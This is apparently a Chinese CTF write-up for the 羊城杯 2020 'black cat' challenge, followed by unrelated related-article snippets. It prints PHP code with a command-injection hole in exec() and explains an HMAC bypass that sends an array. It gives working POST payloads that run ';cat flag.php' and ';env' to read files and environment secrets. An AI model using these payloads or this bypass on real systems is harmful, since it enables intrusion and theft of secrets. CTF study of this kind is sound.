[羊城杯 2020]black cat - 文件隐写+RCE(hash_hmac绕过)

news/2024/5/19 22:47:57 标签: 哈希算法, web安全, 安全, ctf, php, RCE, 文件隐写

[羊城杯 2020]black cat

  • 1 解题流程
    • 1.1 第一步
    • 1.2 第二步
    • 1.3 第三步

1

1 解题流程

1.1 第一步

  1. 打开网站有首歌,按F12也是提示听歌,ctf-wscan扫描就flag.php
  2. 下载歌,用010打开,发现有一段内容
    php">if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
        die('Ë­£¡¾¹¸Ò²ÈÎÒÒ»Ö»¶úµÄβ°Í£¡');
    }
    $clandestine = getenv("clandestine");		//获取环境变量
    if(isset($_POST['White-cat-monitor']))
        $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
    $hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
    if($hh !== $_POST['Black-Cat-Sheriff']){
       die('ÓÐÒâÃé×¼£¬ÎÞÒâ»÷·¢£¬ÄãµÄÃÎÏë¾ÍÊÇÄãÒªÃé×¼µÄÄ¿±ê¡£ÏàÐÅ×Ô¼º£¬Äã¾ÍÊÇÄÇ¿ÅÉäÖаÐÐĵÄ×Óµ¯¡£');
    }
    echo exec("nc".$_POST['One-ear']);
    

1.2 第二步

  1. 这题要post这几个参数:Black-Cat-Sheriff、One-ear、White-cat-monitor
    这里有3个if,首先第一个肯定绕过;
          第二个if里面存在hash_hmac函数,只要我们传数组就能让盐是空,即第一次加密的clandestine是空
          第三个因为盐是空所以只有普通加密,Black-Cat-Sheriff传对应加密结果就行
    特性:MD5、sha特性是无法识别数组,只要是数组加密,就会变成null,所以White-cat-monitor采用数组绕过
  2. 最后一个if判断,编写一个脚本,生成加密结果
    php"><?php
    	$hh = hash_hmac('sha256',';cat flag.php', null);
    	echo $hh;
    ?>
    结果:04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6
    
  3. exec(‘nc’.) 这里拼接命令,如果直接传cat flag.php会变成 => exec('nc’cat flag.php)无法执行
    只要是系统命令的执行,可以通过;来拼接命令,所以one-ear=;cat flag.php => exec('nc';cat flag.php)

1.3 第三步

我先用ls ls …/ ls /等都没结果,考虑其他

  1. ?Black-Cat-Sheriff=83a52f8ff4e399417109312e0539c80147b5514586c45a6caeb3681ad9c1a395&One-ear=;dir&White-cat-monitor[]=1
    得到: Hei_Mao_Jing_Chang.mp3 flag.php index.php js scss
  2. Black-Cat-Sheriff=04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6&One-ear=;cat flag.php&White-cat-monitor[]=1
    得到: “GWHT{y0u_mu3t_p@y_atTentiou_!0_lt}”;
    提交后发现这个flag是错的
  3. 如果cat flag.php没出来,就cat /flag,或者env
    Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env&White-cat-monitor[]=1
    得到:FLAG=flag{e325e53c-76d2-40b8-a41a-4dd88185afdb}

http://www.niftyadmin.cn/n/5079138.html

相关文章

设计分支定界算法关键步骤

1. 得到每个节点的下界 不同于经典分支定界的线性松弛法&#xff0c;即线性松弛解为下界。 在研究的过程中&#xff0c;需要根据问题属性设计出节点的下界。对于调度问题来说&#xff0c;就是部分/局部调度PS下最好的解是多少&#xff0c;即LB。 推导出下界&#xff0c;最好…

光流法详细介绍

1、光流法 光流为追踪源图像某个点在其他图像中的运动&#xff0c; 一般分为稀疏光流和稠密光流&#xff0c;其本质是估计像素在不同时刻图像中的运动 稀疏光流以Lucas-Kanade(LK)光流为代表稠密光流以Horn–Schunck(HS)光流为代表 本文主要介绍LK光流。 2、光流基础原理 设…

关于:未同意隐私政策,应用获取ANDROID ID问题

一、环境 Unity2018 4.21f1、Android Studio、Windows10 二、问题描述 我在提交华为应用时&#xff0c;总是提示【未同意隐私政策&#xff0c;应用获取ANDROID ID个人信息】&#xff0c;但是我已经全部去掉了&#xff0c;后面问了人工客服&#xff0c;反馈了如下信息 调用堆…

Flutter配置Android SDK路径

在使用VSCode作为开发Flutter的工具时&#xff0c;当选择调试设备时&#xff0c;通常看不到android的模拟器&#xff0c;只能看到Chrome之类的。 原因就是Flutter找不到Android的SDK路径&#xff0c;所以无法识别模拟器&#xff0c;我们用flutter doctor命令检查环境时&#xf…

【力扣2011】执行操作后的变量值

&#x1f451;专栏内容&#xff1a;力扣刷题⛪个人主页&#xff1a;子夜的星的主页&#x1f495;座右铭&#xff1a;前路未远&#xff0c;步履不停 目录 一、题目描述二、题目分析 一、题目描述 题目链接&#xff1a;执行操作后的变量值 存在一种仅支持 4 种操作和 1 个变量 …

C#开发的OpenRA游戏之电力系统之二

C#开发的OpenRA游戏之电力系统之二 继续前面的电力系统分析,在OpenRA游戏里,每一个建筑物都会有一个电力描述字段,说明这个建筑物是消耗电力,还是产生电力的。如果这个建筑物是产生电力的,那么这个字段就会是正值,如果这个建筑物是消耗电力的,就会是负值。因此所有电厂…

计算机视觉--通过HSV和YIQ颜色空间处理图像噪声

计算机视觉 文章目录 计算机视觉前言一、实现步骤二、实现总结 前言 利用HSV和YIQ颜色空间处理图像噪声。在本次实验中&#xff0c;我们使用任意一张图片&#xff0c;通过RGB转HSV和YIQ的操作&#xff0c;加入了椒盐噪声并将其转换回RGB格式&#xff0c;最终实现对图像的噪声处…

Hadoop作业篇(一)

一、选择题 1. 以下哪一项不属于Hadoop可以运行的模式__C____。 A. 单机&#xff08;本地&#xff09;模式 B. 伪分布式模式 C. 互联模式 D. 分布式模式 C. 互联模式 不属于Hadoop可以运行的模式。 Hadoop主要有四种运行模式&#xff1a; A. 单机&#xff08;本地&#xf…